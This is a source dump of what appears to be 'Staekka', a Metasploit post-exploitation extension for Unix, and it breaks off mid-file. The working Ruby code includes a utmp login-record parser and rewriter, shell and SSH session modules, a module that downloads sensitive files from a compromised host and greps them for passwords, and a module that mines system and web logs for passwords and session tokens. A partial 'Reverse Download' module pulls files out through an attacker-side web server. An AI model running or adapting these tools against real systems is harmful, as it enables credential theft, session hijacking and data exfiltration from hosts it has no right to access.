new_utmp.ut_tv_sec = string_to_time(data["ut_tv_sec"]) if new_utmp.respond_to? :ut_tv_sec 146 | new_utmp.ut_tv_usec = data["ut_tv_usec"] if new_utmp.respond_to? :ut_tv_usec 147 | new_utmp.ut_session = data["ut_session"] if new_utmp.respond_to? :ut_session 148 | new_utmp.ut_addr_v6 = string_to_ip(data["ut_addr_v6"]) if new_utmp.respond_to? :ut_addr_v6 149 | new_utmp.ut_addr = string_to_ip(data["ut_addr"]) if new_utmp.respond_to? :ut_addr 150 | new_utmp.unused = data["unused"] if new_utmp.respond_to? :unused 151 | new_utmp 152 | end 153 | 154 | def print_entry(data) 155 | out = "==========================================\n" 156 | tmp = dump_entry(data) 157 | tmp.each_pair do |key, value| 158 | if (key == 'ut_line') || (key == 'ut_user') || (key == 'ut_host') || (key == 'unused') || (key == 'ut_name') 159 | # value.delete! "\x00" 160 | value = value.delete "\x00" 161 | end 162 | out << sprintf("%s%-20s [%-40s]\n", '', key, value) 163 | end 164 | out << "\n" 165 | out 166 | end 167 | 168 | def print_line(data) 169 | out = '' 170 | tmp = dump_entry(data) 171 | tmp.each_pair do |key, value| 172 | if (key == 'ut_line') || (key == 'ut_user') || (key == 'ut_host') || (key == 'unused') || (key == 'ut_name') 173 | value.delete! "\x00" 174 | end 175 | 176 | out << sprintf(" %s=[%10s] |", key, value) 177 | end 178 | out << "\n" 179 | out 180 | end 181 | 182 | def read_entry(io) 183 | @utmp.read(io) 184 | end 185 | 186 | def each_entry(io) 187 | until io.eof? 188 | data = read_entry(io) 189 | yield(self, data) 190 | end 191 | io.seek 0 192 | end 193 | 194 | def print_all(io) 195 | out = '' 196 | each_entry(io) do |utmp, data| 197 | out << utmp.print_entry(data) 198 | end 199 | out 200 | end 201 | 202 | def print_lines(io) 203 | out = "" 204 | @fields.each do |tmp| 205 | next unless @utmp.base_respond_to? tmp.to_sym 206 | out << sprintf(" %s=[%10s] |", tmp, '') 207 | end 208 | out << "\n" 209 | out << "-" * out.length 210 | out << "\n" 211 | each_entry(io) do |utmp, data| 212 | out << utmp.print_line(data) 213 | end 214 | out 215 | end 216 | 217 | def to_text(io) 218 | print_lines(io) 219 | end 220 | 221 | def text_to_bin(io) 222 | data = [] 223 | io.each_line do |line| 224 | line = line.force_encoding(Encoding::BINARY) 225 | next if line.start_with? "IGNORE_LINE" 226 | out = {} 227 | ignore = false 228 | @fields.each do |tmp| 229 | next unless line =~ /#{tmp}=\[(.*?)\]/ 230 | out[tmp] = Regexp.last_match(1) 231 | out[tmp].strip! 232 | # out[tmp].delete(" ") 233 | end 234 | ["ut_pid", "ut_id", "ut_exit", "ut_tv_usec", "ut_session" ].each do |tmp| 235 | out[tmp] = out[tmp].to_i if out.key? tmp 236 | end 237 | if out["ut_tv_sec"].to_s.empty? && out["ut_time"].to_s.empty? 238 | # puts "No Time" 239 | ignore = true 240 | end 241 | if ignore == true 242 | # puts "Ignore" 243 | next 244 | end 245 | new_utmp = hash2data(out) 246 | data << new_utmp 247 | end 248 | data 249 | end 250 | 251 | def check_structure(io) 252 | is_ok = true 253 | each_entry(io) do |utmp, data| 254 | new_utmp = utmp.create_entry(data) 255 | is_ok = false unless utmp.utmp.to_binary_s == new_utmp.to_binary_s 256 | end 257 | is_ok 258 | end 259 | end 260 | 261 | class UtmpLinux < UtmpX 262 | def initialize 263 | @utmp = create_utmp 264 | super 265 | end 266 | 267 | def create_utmp 268 | Utmp.new 269 | end 270 | 271 | class Utmp < BinData::Record 272 | endian :little 273 | 274 | uint32 :ut_type 275 | uint32 :ut_pid 276 | string :ut_line, length: 32 277 | uint32 :ut_id 278 | string :ut_user, length: 32 279 | string :ut_host, length: 256 280 | uint32 :ut_exit 281 | uint32le :ut_tv_usec 282 | uint32le :ut_tv_sec 283 | uint32 :ut_session 284 | array :ut_addr_v6, type: :uint32be, initial_length: 4 285 | string :unused, length: 20 286 | end 287 | end 288 | 289 | class UtmpFreeBSD < UtmpX 290 | def initialize 291 | @utmp = create_utmp 292 | super 293 | end 294 | 295 | def create_utmp 296 | Utmp.new 297 | end 298 | 299 | class Utmp < BinData::Record 300 | endian :little 301 | 302 | string :ut_line, length: 8 303 | string :ut_name, length: 16 304 | string :ut_host, length: 16 305 | uint32 :ut_time 306 | end 307 | end 308 | 309 | class UtmpBSD < UtmpX 310 | def initialize 311 | @utmp = create_utmp 312 | super 313 | end 314 | 315 | def create_utmp 316 | Utmp.new 317 | end 318 | 319 | class Utmp < BinData::Record 320 | endian :little 321 | 322 | uint32 :ut_type 323 | uint32 :ut_pid 324 | string :ut_line, length: 16 325 | string :ut_id, length: 4 326 | uint32le :ut_time 327 | string :ut_user, length: 16 328 | string :ut_host, length: 16 329 | uint32le :ut_addr 330 | end 331 | end 332 | -------------------------------------------------------------------------------- /lib/logos/staekka.txt: -------------------------------------------------------------------------------- 1 | MMMMMMMMMMMMMMMMMMMMMMMMMMMMXlMMMMMMMMMMMMMMMMMMMMMMMMMMMMM 2 | MMMMMMMMMMMMMMMMMMMMMMMMMMMMc OMMMMMMMMMMMMMMMMMMMMMMMMMMMM 3 | MMMMMMMMMMMMMMMMMMMNMMMMMMMk .oWMMMMMMMMMMMMMMMMMMMMMMMMMM 4 | MMMMMMMMMMMMMMMMMM.lk.NMMMX. 'N0lMMMMMMMMMMMMMMMMMMMMMMMMMM 5 | MMMMMMMMMMMMMMMMMMoNMXl0MMc 0MMlKMMMMMMMMMMMMMMMMMMMMMMMMM 6 | MMMMMMMMMMMMMMMMMMoNMMMlkO 'MMMxoMMMMMMMMMMMMMMMMMMMMMMMMM 7 | MMMMMMMMMMMMMMMMMMdOMMMN. ;MMMk.WMMMMMMMMMMMMMMMMMMMMMMMM 8 | MMMMMMMMMMMMMMMMMMNcWMMMo ,MMMd lMMMMMMMMMMMMMMMMMMMMMMMM 9 | MMMMMMMMMMMMMMMMMMMKoWMMX 'MMMc 0MMMMMMMMMMMMMMMMMMMMMMM 10 | MMMMMMMMMMMMMMMMMMMMXlWMMd.'oMMMc 'WMMMMMMMMMMMMMMMMMMMMMM 11 | K0OOOOOOOOOOOOOkkkkxx;0MMMMMMMMMMKl.;dddddooooooooooooooodK 12 | Xo. .0MMMMMMMMMMMMMNo .c0M 13 | MMMKl. OMMMMMMMMMMMMMMMMK. ;OWMMM 14 | MMMMMM0c. :MMMMMMMMMMMMMMMMMMl ,xWMMMMMM 15 | MMMMMMMMWO:. kMMNNMMMMMMMMMk''MMo .oXMMMMMMMMM 16 | MMMMMMMMMMMWO:. xMM''MMMMMMMMMMMMMM; .cKMMMMMMMMMMMM 17 | MMMMMMMMMMMMMMWk; .XMMMMMMMMMMMMMMMMx :OMMMMMMMMMMMMMMM 18 | MMMMMMMMMMMMMMMMMO .xWMMMMMoooMMMMNl oMMMMMMMMMMMMMMMMM 19 | MMMMMMMMMMMMMMMMW' .ckKNMMMWX0d:. KMMMMMMWMMMMMMMMM 20 | MMMMMMMMMMMMMMMMl 'kK0000000XNXk; .NNOxxddxxxNMMMMM 21 | MMMMMMMMMMWXK0Od l0MMMMMMMMMMWxd, .'lxKWMMN0KKo0MMMM 22 | MMMMMMMMxokkO0KKXXXKK0c[ Staekka ]XNWMd.';kM0l0OkxxMMMM 23 | MMMMMMMM;OMMMMMMMMMMMWl[ Metasploit ]xOKX,.. x0,dOOKMMMMMM 24 | MMMMMMMMWxkkkl'..... .'^^^^^^^^^^^^'. .',o0:X0kdoWMMMMM 25 | MMMMMMMMMMMMW. ,dXWc.oOO: ,xkx:;WMKo. .xOKNMMMMMMMM 26 | MMMMMMMMMMMMo 'oXMMMMcNMMMd xWMMMoxMMMMKo. .XMMMMMMMMMMM 27 | MMMMMMMMMMMX..oXMMMMMMMKkO0OONxdkkkkWMMMMMMMKo.;WMMMMMMMMMM 28 | MMMMMMMMMMMoxMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWxKMMMMMMMMMM 29 | -------------------------------------------------------------------------------- /lib/staekka.rb: -------------------------------------------------------------------------------- 1 | # 2 | # Advanced Post Exploitation 3 | # 4 | require 'banner' 5 | require 'staekka_path' 6 | module Msf 7 | # Staekka: extending Metasploit with more Linux/Unix focus 8 | module Staekka 9 | def staekka_path 10 | @staekka_path 11 | end 12 | def staekka_path=(path) 13 | @staekka_path=path 14 | end 15 | end 16 | end 17 | -------------------------------------------------------------------------------- /lib/staekka_path.rb: -------------------------------------------------------------------------------- 1 | module Msf 2 | module Staekka 3 | def staekka_path 4 | #File.realpath (File.dirname(__FILE__) + '/../../') 5 | File.realpath @staekka_path 6 | end 7 | end 8 | end 9 | -------------------------------------------------------------------------------- /modules/auxiliary/shell/interactive.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | # 3 | # 4 | # 5 | 6 | require 'msf/core' 7 | # require 'staekka/base/sessions/pty' 8 | 9 | class MetasploitModule < Msf::Auxiliary 10 | attr_accessor :sock 11 | 12 | def initialize 13 | super( 14 | 'Name' => 'Interactive Expect Shell', 15 | 'Description' => %q( 16 | This module executes a command you can interact with. You can add this shell session to mfs sessions. 17 | ), 18 | 'Author' => 'jot', 19 | 'License' => MSF_LICENSE # 20 | ) 21 | register_options( 22 | [ 23 | OptBool.new('INTERACTIVE', [false, "Start an interactive shell", false]), 24 | OptString.new('CMD', [false, "The local program/shell to use", "default"]), 25 | OptString.new('STOP', [false, "The string for stopping the interactive modus", "default"]), 26 | OptString.new('LOGFILE', [false, "Log stdin/stdout into this file; 'none' for disable logging", "default"]) 27 | ], self.class 28 | ) 29 | register_advanced_options( 30 | [ 31 | OptBool.new('LOGTERMINAL', [false, "Start an terminal which monitors the logfile", false]) 32 | ] 33 | ) 34 | end 35 | 36 | def run 37 | # setting default RHOST to localhost 38 | datastore['RHOST'] = 'localhost' 39 | cmd = datastore['CMD'] 40 | cmd = nil if cmd == "default" 41 | stop_string = datastore['STOP'] 42 | stop_string = nil if stop_string == "default" 43 | logfile = datastore['LOGFILE'] 44 | logfile = nil if logfile == "none" 45 | 46 | merge_me = {} 47 | sock = Msf::Sessions::PTY::PtySocket.new(cmd, stop_string, logfile) 48 | print_status("Logfile: #{sock.logfile}") 49 | 50 | interactive = if datastore['INTERACTIVE'] == true 51 | true 52 | else 53 | false 54 | end 55 | start_pty_session(self, "PTY: ", merge_me, false, sock, interactive) 56 | end 57 | 58 | def start_pty_session(obj, info, ds_merge, _crlf = false, sock = nil, interactive = false) 59 | # if crlf 60 | # Windows telnet server requires \r\n line endings and it doesn't 61 | # seem to affect anything else. 62 | # obj.sock.extend(CRLFLineEndings) 63 | # end 64 | 65 | sock ||= obj.sock 66 | sess = Msf::Sessions::PTY.new(sock) 67 | if datastore['VERBOSE'] || framework.datastore['VERBOSE'] 68 | sess.verbose = true 69 | end 70 | sess.set_from_exploit(obj) 71 | sess.info = info 72 | 73 | # Clean up the stored data 74 | sess.exploit_datastore.merge!(ds_merge) 75 | 76 | # Prevent the socket from being closed 77 | obj.sockets.delete(sock) 78 | obj.sock = nil if obj.respond_to? :sock 79 | 80 | framework.sessions.register(sess) 81 | sess.process_autoruns(datastore) 82 | if datastore['LOGTERMINAL'] == true 83 | sock.start_tailf 84 | end 85 | 86 | if interactive == true 87 | $stdout.puts "starting Interactive...." 88 | sess.interactive 89 | end 90 | sess.new_session 91 | sess 92 | end 93 | end 94 | -------------------------------------------------------------------------------- /modules/auxiliary/shell/offline_audit.rb: -------------------------------------------------------------------------------- 1 | # 2 | # 3 | # 4 | 5 | require 'msf/core' 6 | require 'base/sessions/offline' 7 | 8 | class MetasploitModule < Msf::Auxiliary 9 | attr_accessor :sock 10 | 11 | def initialize 12 | super( 13 | 'Name' => 'Offline Shell', 14 | 'Description' => %q( 15 | This module allows to perform tests/audits with pre-collected data. 16 | ), 17 | 'Author' => 'jot', 18 | 'License' => MSF_LICENSE # 19 | ) 20 | register_options( 21 | [ 22 | OptPath.new('DATADIR', [true, "Directory with collected data", "/tmp/audit"]), 23 | OptString.new('DATATYPE', [false, "Structure of the offline data directory", "default"]) 24 | ], self.class 25 | ) 26 | end 27 | 28 | def run 29 | # setting default RHOST to localhost 30 | datastore['RHOST'] = '127.0.0.1' 31 | info = 'Offline' 32 | ds_merge = {} 33 | datadir = datastore['DATADIR'] 34 | datatype = datastore['DATATYPE'] 35 | 36 | # merge_me = {} 37 | 38 | sess = Msf::Sessions::Offline.new(self) 39 | 40 | sess.offline_path(datadir) 41 | sess.offline_init('default') if datatype == 'default' 42 | 43 | if datastore['VERBOSE'] || framework.datastore['VERBOSE'] 44 | sess.verbose = true 45 | end 46 | sess.set_from_exploit(self) 47 | sess.info = info 48 | 49 | # Clean up the stored data 50 | sess.exploit_datastore.merge!(ds_merge) 51 | 52 | # Prevent the socket from being closed 53 | # obj.sockets.delete(sock) 54 | # obj.sock = nil if obj.respond_to? :sock 55 | 56 | framework.sessions.register(sess) 57 | ####### 58 | end 59 | end 60 | 61 | # module Msf::Post::Common 62 | # def cmd_exec(cmd, args=nil, time_out=15) 63 | # case session.type 64 | # when /meterpreter/ 65 | # # 66 | # # The meterpreter API requires arguments to come seperately from the 67 | # # executable path. This has no effect on Windows where the two are just 68 | # # blithely concatenated and passed to CreateProcess or its brethren. On 69 | # # POSIX, this allows the server to execve just the executable when a 70 | # # shell is not needed. Determining when a shell is not needed is not 71 | # # always easy, so it assumes anything with arguments needs to go through 72 | # # /bin/sh. 73 | # # 74 | # # This problem was originally solved by using Shellwords.shellwords but 75 | # # unfortunately, it is retarded. When a backslash occurs inside double 76 | # # quotes (as is often the case with Windows commands) it inexplicably 77 | # # removes them. So. Shellwords is out. 78 | # # 79 | # # By setting +args+ to an empty string, we can get POSIX to send it 80 | # # through /bin/sh, solving all the pesky parsing troubles, without 81 | # # affecting Windows. 82 | # # 83 | # if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ 84 | # args = "" 85 | # end 86 | # 87 | # session.response_timeout = time_out 88 | # process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) 89 | # o = "" 90 | # while (d = process.channel.read) 91 | # break if d == "" 92 | # o << d 93 | # end 94 | # o.chomp! if o 95 | # 96 | # begin 97 | # process.channel.close 98 | # rescue IOError => e 99 | # # Channel was already closed, but we got the cmd output, so let's soldier on. 100 | # end 101 | # 102 | # process.close 103 | # when /shell/ 104 | # o = session.shell_command_token("#{cmd} #{args}", time_out) 105 | # o.chomp! if o 106 | # when /offline/ 107 | # o = session.cmd_exec("#{cmd} #{args}") 108 | # end 109 | # return "" if o.nil? 110 | # return o 111 | # end 112 | # 113 | # end 114 | -------------------------------------------------------------------------------- /modules/auxiliary/shell/ssh_session.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | # 3 | # 4 | # 5 | 6 | require 'msf/core' 7 | require 'metasploit/framework/login_scanner/ssh' 8 | require 'metasploit/framework/credential_collection' 9 | 10 | require Msf::Config.staekka_path + '/lib/base/sessions/ssh_session' 11 | 12 | class MetasploitModule < Msf::Auxiliary 13 | include Msf::Auxiliary::AuthBrute 14 | include Msf::Auxiliary::Report 15 | include Msf::Auxiliary::CommandShell 16 | 17 | include Msf::Auxiliary::Scanner 18 | 19 | attr_accessor :sock 20 | 21 | def initialize 22 | super( 23 | 'Name' => 'Interactive SSH Shell', 24 | 'Description' => %q( 25 | Login using SSH 26 | ), 27 | 'Author' => 'jot', 28 | 'License' => MSF_LICENSE # 29 | ) 30 | register_options( 31 | [ 32 | Opt::RPORT(22), 33 | OptBool.new('INTERACTIVE', [false, "Start an interactive shell", false]), 34 | OptString.new('SSH_KEYFILE', [false, 'Path to unencrypted SSH public key', '']), 35 | OptString.new('CMD', [false, "The local program/shell to use", "default"]), 36 | OptString.new('STOP', [false, "The string for stopping the interactive modus", "default"]), 37 | OptString.new('LOGFILE', [false, "Log stdin/stdout into this file; 'none' for disable logging", "default"]) 38 | ], self.class 39 | ) 40 | register_advanced_options( 41 | [ 42 | Opt::Proxies, 43 | OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), 44 | OptString.new('SSH_KNOWN_HOST_FILE', [ false, 'Path to a file containing the public key of the SSHD', false]), 45 | OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) 46 | ] 47 | ) 48 | end 49 | 50 | def run 51 | ssh_options = {} 52 | 53 | ssh_options[:host_name] = datastore['RHOSTS'] 54 | ssh_options[:port] = datastore['RPORT'] 55 | ssh_options[:user] = datastore['USERNAME'] 56 | ssh_options[:password] = datastore['PASSWORD'] 57 | ssh_options[:config] = false 58 | #ssh_options[:encryption] = ["blowfish-cbc", "3des-cbc"] 59 | ssh_key = datastore['SSH_KEYFILE'].to_s.strip 60 | unless ssh_key.empty? 61 | ssh_options[:keys] = ssh_key 62 | # ssh_options[:keys_only] = true 63 | end 64 | known_host_file = datastore['SSH_KNOWN_HOST_FILE'].to_s.strip 65 | unless known_host_file.empty? 66 | ssh_options[:user_known_hosts_file] = known_host_file 67 | # ssh_options[:paranoid] = true 68 | end 69 | # ssh_options[:verbose] = :debug 70 | 71 | # vprint_info "SSH_OPTIONS: #{ssh_options.inspect}" 72 | 73 | cmd = datastore['CMD'] 74 | cmd = nil if cmd == "default" 75 | stop_string = datastore['STOP'] 76 | stop_string = nil if stop_string == "default" 77 | logfile = datastore['LOGFILE'] 78 | logfile = nil if logfile == "none" 79 | 80 | # merge_me = { 81 | # 'USERPASS_FILE' => nil, 82 | # 'USER_FILE' => nil, 83 | # 'PASS_FILE' => nil, 84 | # 'USERNAME' => result.credential.public, 85 | # 'PASSWORD' => result.credential.private 86 | # } 87 | 88 | merge_me = {} 89 | $stdout.puts "__LOG #{logfile}" 90 | # sock = Msf::Sessions::PTY::PtySocket.new(cmd, stop_string, logfile) 91 | # sock = Msf::Sessions::SshSession::SecureShell.new(ssh_options, cmd, stop_string, logfile) 92 | 93 | raise "Net::SSH connection error" if check_net_ssh_bug(ssh_options) == false 94 | 95 | sock = Msf::Sessions::SshSession::SecureShell.new(cmd, stop_string, logfile, ssh_options) 96 | 97 | print_status("Logfile: #{sock.logfile}") 98 | interactive = if datastore['INTERACTIVE'] == true 99 | true 100 | else 101 | false 102 | end 103 | start_ssh_session(self, "SSH: ", merge_me, false, sock, interactive) 104 | end 105 | 106 | def start_ssh_session(obj, info, ds_merge, _crlf = false, sock = nil, interactive = false) 107 | # if crlf 108 | # Windows telnet server requires \r\n line endings and it doesn't 109 | # seem to affect anything else. 110 | # obj.sock.extend(CRLFLineEndings) 111 | # end 112 | 113 | sock ||= obj.sock 114 | sess = Msf::Sessions::SshSession.new(sock) 115 | if datastore['VERBOSE'] || framework.datastore['VERBOSE'] 116 | sess.verbose = true 117 | end 118 | sess.set_from_exploit(obj) 119 | sess.info = info 120 | 121 | # Clean up the stored data 122 | sess.exploit_datastore.merge!(ds_merge) 123 | 124 | # Prevent the socket from being closed 125 | obj.sockets.delete(sock) 126 | obj.sock = nil if obj.respond_to? :sock 127 | 128 | framework.sessions.register(sess) 129 | sess.process_autoruns(datastore) 130 | if interactive == true 131 | $stdout.puts "starting Interactive...." 132 | sess.interactive 133 | end 134 | sess.new_session 135 | sess 136 | end 137 | 138 | def check_net_ssh_bug(options) 139 | ssh_options = options 140 | ssh_options[auth_methods: []] # no auth method 141 | begin 142 | ssh = Net::SSH.start(nil, nil, ssh_options) 143 | true 144 | rescue Net::SSH::AuthenticationFailed 145 | true 146 | rescue Net::SSH::Exception => e 147 | print_error "Cannot connect to #{options[:host_name]}:#{options[:port]}. \n#{e}\nThis might be because Net::SSH. OpenSSH config settings are \"Ciphers\" and \"KexAlgorithms\"" 148 | false 149 | end 150 | end 151 | end 152 | -------------------------------------------------------------------------------- /modules/post/unix/gather/download_interessting.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'msf/core/post/file' 3 | require 'core/post/staekka' 4 | require 'core/post/staekka/file' 5 | require 'core/post/staekka/unix' 6 | require 'core/post/unix/commands' 7 | 8 | class MetasploitModule < Msf::Post 9 | include Msf::Post::Common 10 | include Msf::Post::File 11 | include Msf::Post::Staekka 12 | include Msf::Staekka 13 | include Msf::Post::Staekka::Unix 14 | include Msf::Post::Unix::Commands 15 | include Msf::Post::Updatedb 16 | 17 | def initialize(info = {}) 18 | super(update_info(info, 19 | 'Name' => 'Download Interessting Files', 20 | 'Description' => %q(Download some interessting files), 21 | 'Author' => [ 'jot'], 22 | 'SessionTypes' => [ 'shell' ])) 23 | register_options( 24 | [ 25 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 26 | OptString.new('FILES', [ false, 'Wordist of files to download ' + Msf::Config.staekka_path + "/data/wordlists/interessting_files.txt"]), 27 | OptString.new('DOWNLOAD', [ false, 'Files and/or directories to download']), 28 | OptInt.new('TIMEOUT', [ false, 'Timeout should be higher on large directories', 300]) 29 | ], self.class 30 | ) 31 | end 32 | 33 | def run 34 | timeout = if datastore['TIMEOUT'] 35 | datastore['TIMEOUT'] 36 | else 37 | 60 38 | end 39 | timeout = timeout.to_i 40 | files = {} 41 | files = files.merge read_config 42 | files = files.merge add_downloads 43 | files.each_pair do |file, mesg| 44 | binary = true 45 | if mesg 46 | mesg.strip! 47 | binary = if mesg.end_with? "|:text" 48 | false 49 | else 50 | true 51 | end 52 | if mesg.start_with?('GREP(/') || mesg.start_with?('CONFGREP(/') 53 | if mesg =~ /GREP\(\/(.*)\/\)\|:/ 54 | search = Regexp.last_match[1] 55 | else 56 | next 57 | end 58 | data = read_file(file, false, true, timeout) # grep in text files 59 | next if data.nil? || data.empty? 60 | if mesg.start_with?('CONFGREP') 61 | # remove comments 62 | data.gsub!(/^\s*#.*$/, '') 63 | end 64 | rx = Regexp.new(search) 65 | data.each_line do |line| 66 | out = rx.match(line) 67 | line.chomp! 68 | next unless out 69 | print_status file + ' : ' + line 70 | found = out[1] 71 | unless found.nil? || found.empty? 72 | print_good "Possible password: #{found}" 73 | end 74 | end 75 | next 76 | end 77 | 78 | end 79 | 80 | tmp = download(file, binary, true, timeout) 81 | if (tmp.class.to_s != 'String') || tmp.empty? 82 | vprint_warning file + " : could not read file (#{tmp})" 83 | elsif tmp.end_with? "Permission denied" 84 | vprint_warning file + " : Permission denied" 85 | elsif tmp.end_with? "No such file or directory" 86 | vprint_waring file + " : No such file or directory" 87 | else 88 | print_status "downloaded #{file} : #{mesg.to_s.sub(/(\|:(text|data)\s*)/, '')}" 89 | end 90 | end 91 | end 92 | 93 | def add_downloads 94 | files = {} 95 | if datastore['DOWNLOAD'] 96 | datastore['DOWNLOAD'].split("\s").each do |file| 97 | files[file] = nil 98 | end 99 | end 100 | files 101 | end 102 | 103 | def read_config 104 | files = {} 105 | unless ::File.file?(datastore['FILES'].to_s) 106 | if Msf::Config.staekka_path.to_s.empty? 107 | #if ENV['STAEKKA_PATH'].to_s.empty? 108 | raise "cannot read file '#{datastore['FILES']}' You might need to set env STAEKKA_PATH (export STAEKKA_PATH=....)" 109 | else 110 | raise "cannot read file '#{datastore['FILES']}'" 111 | end 112 | end 113 | data = ::File.read(datastore['FILES']) 114 | # remove comments 115 | # data.gsub!(/^\s*#.*$/, '') 116 | 117 | data.each_line do |line| 118 | file = '' 119 | line.gsub!(/#(.*)$/, '') 120 | line.chomp! 121 | line.strip! 122 | next if line.empty? 123 | 124 | if line =~ /^(.*?)\|\|(.*)$/ 125 | file = Regexp.last_match[1] 126 | mesg = Regexp.last_match[2] 127 | else 128 | file = line 129 | mesg = nil 130 | end 131 | next if file.empty? 132 | if file.start_with? '~/' 133 | file.sub!("~", '') 134 | enum_user_directories.each do |home| 135 | tmp = home + file 136 | tmp.gsub!('//', '/') 137 | files[tmp] = mesg 138 | end 139 | elsif file.start_with? '/' 140 | files[file] = mesg 141 | else 142 | find_files(file).each do |found| 143 | files[found] = mesg 144 | end 145 | end 146 | end 147 | files 148 | end 149 | end 150 | -------------------------------------------------------------------------------- /modules/post/unix/gather/enum_logfiles.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | require 'msf/core/post/file' 3 | require 'core/post/staekka' 4 | require 'core/post/staekka/file' 5 | require 'core/post/staekka/unix' 6 | require 'core/post/unix/commands' 7 | 8 | class MetasploitModule < Msf::Post 9 | include Msf::Post::Common 10 | include Msf::Post::File 11 | include Msf::Post::Staekka 12 | include Msf::Post::Staekka::Unix 13 | include Msf::Post::Unix::Commands 14 | include Msf::Post::Updatedb 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'Grep Interssting Data from Logfiles', 19 | 'Description' => %q(Analyse log files), 20 | 'Author' => [ 'jot'], 21 | 'SessionTypes' => [ 'shell' ])) 22 | register_options( 23 | [ 24 | OptBool.new('USE_UPDATEDB', [ false, 'Use an updatedb database and search for filenames instead of full path', true]), 25 | OptString.new('FILES', [ false, 'A special log file']) 26 | ], self.class 27 | ) 28 | end 29 | 30 | def run 31 | all_log_files.each do |file| 32 | data = read_logfile(file) 33 | if data.nil? 34 | vprint_warning("Cannot read file '#{file}'") 35 | next 36 | end 37 | vprint_status("Checking logfile '#{file}'") 38 | grep_passwords(data, file) 39 | end 40 | end 41 | 42 | def all_log_files 43 | out = [] 44 | files = if datastore['FILES'] 45 | datastore['FILES'].split(" ") 46 | else 47 | log_files_syslog + log_files_web 48 | end 49 | 50 | files.flatten! 51 | files.compact! 52 | files.uniq! 53 | 54 | files.each do |file| 55 | file.strip! 56 | next if file.empty? 57 | if (file.start_with? '/') || (file.start_with? './') || (file.start_with? '..') 58 | out << file if exists?(file) 59 | else 60 | # search updatedb 61 | out.concat find_files(file) 62 | end 63 | end 64 | out 65 | end 66 | 67 | def log_files_syslog 68 | [ 69 | '/var/log/messages', 70 | '/var/log/auth.log', 71 | '/var/log/auth', 72 | '/var/log/debug', 73 | '/var/log/ssh.log', 74 | '/var/log/ssh', 75 | '/var/log/debug.log', 76 | '/var/log/audit', 77 | '/var/log/audit.log', 78 | '/var/log/kernel', 79 | '/var/log/kernel.log', 80 | ] 81 | end 82 | 83 | def log_files_web 84 | [ 85 | '/var/log/apache2/access', 86 | '/var/log/apache2/access.log', 87 | '/var/log/apache2/error', 88 | '/var/log/apache2/error.log', 89 | '/var/log/apache2/ssl_access', 90 | '/var/log/apache2/ssl_access.log', 91 | '/var/log/apache2/ssl_error', 92 | '/var/log/apache2/ssl_error.log', 93 | '/var/log/apache/access', 94 | '/var/log/apache/access.log', 95 | '/var/log/apache/error', 96 | '/var/log/apache/error.log', 97 | '/var/log/apache/ssl_access', 98 | '/var/log/apache/ssl_access.log', 99 | '/var/log/apache/ssl_error', 100 | '/var/log/apache/ssl_error.log', 101 | '/var/log/httpd/access', 102 | '/var/log/httpd/access.log', 103 | '/var/log/httpd/error', 104 | '/var/log/httpd/error.log', 105 | '/var/log/httpd/ssl_access', 106 | '/var/log/httpd/ssl_access.log', 107 | '/var/log/httpd/ssl_error', 108 | '/var/log/httpd/ssl_error.log', 109 | '/var/log/web/access', 110 | '/var/log/web/access.log', 111 | '/var/log/web/error', 112 | '/var/log/web/error.log', 113 | '/var/log/web/ssl_access', 114 | '/var/log/web/ssl_access.log', 115 | '/var/log/web/ssl_error', 116 | '/var/log/web/ssl_error.log', 117 | # 118 | '/var/log/lighttpd/access.log', 119 | '/var/log/lighttpd/error.log', 120 | '/var/log/thttpd.log', 121 | '/var/log/nginx/access.log', 122 | '/var/log/nginx/error.log', 123 | ] 124 | end 125 | 126 | def read_logfile(file) 127 | data = nil 128 | if readable?(file) 129 | print_good(file + " is readable") 130 | data = read_file(file, false, true) 131 | end 132 | data 133 | end 134 | 135 | def grep_signature(data, signatures, file) 136 | data.each_line do |line| 137 | line.strip! 138 | signatures.each_pair do |search, message| 139 | rx = Regexp.new(search) 140 | out = rx.match(line) 141 | next unless out 142 | print_status(message + " in file " + file + " : " + line) 143 | vprint_status("Search: " + search) 144 | found = out[1] 145 | print_good "Found: #{found}" unless found.nil? || found.empty? 146 | end 147 | end 148 | end 149 | 150 | # TODO: find more patterns 151 | def grep_passwords(data, file) 152 | signatures = { 'ZENHOME/libexec/poll_postgres.py\s.*?\s.*?\s.*?\s\'(.*?)\'' => 'password?', 153 | 'Failed\spassword\sfor\sinvalid\suser\s(.*?)\sfrom\s' => 'password or invalid user (bruteforce attack)', 154 | 'password=(.*?)' => 'Password as parameter?', 155 | '(.*?)<\/password>' => 'Password?', 156 | 'j_password' => 'Password?', 157 | 'j_sap_password' => 'Password?', 158 | 'j_sap_again' => 'Password?', 159 | 'oldPassword' => 'Password?', 160 | 'confirmNewPassword' => 'Password?', 161 | 'jsessionid' => 'Session', 162 | 'JSESSIONID' => 'Session', 163 | 'MYSAPSSO2' => 'Session' } 164 | grep_signature(data, signatures, file) 165 | end 166 | end 167 | -------------------------------------------------------------------------------- /modules/post/unix/general/download.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # Advanced Post Exploitation 3 | # 4 | # BUG: 5 | # Files >60 MB cannot be downloaded 6 | # 7 | require 'msf/core' 8 | require 'msf/core/post/common' 9 | require 'msf/core/post/file' 10 | require 'core/post/staekka' 11 | require 'core/post/staekka/file' 12 | require 'core/post/unix/commands' 13 | 14 | require 'msf/core/exploit/http/server' 15 | 16 | class MetasploitModule < Msf::Post 17 | include Msf::Post::Common 18 | include Msf::Post::File 19 | include Msf::Post::Staekka 20 | # include Msf::Post::Staekka::File 21 | include Msf::Post::Unix::Commands 22 | include Msf::Exploit::Remote::HttpServer 23 | 24 | def initialize(info = {}) 25 | super(update_info(info, 26 | 'Name' => 'Reverse Download', 27 | 'Description' => %q{(fast) downloading files using a local web server}, 28 | 'Author' => [ 'jot'], 29 | 'SessionTypes' => [ 'shell' 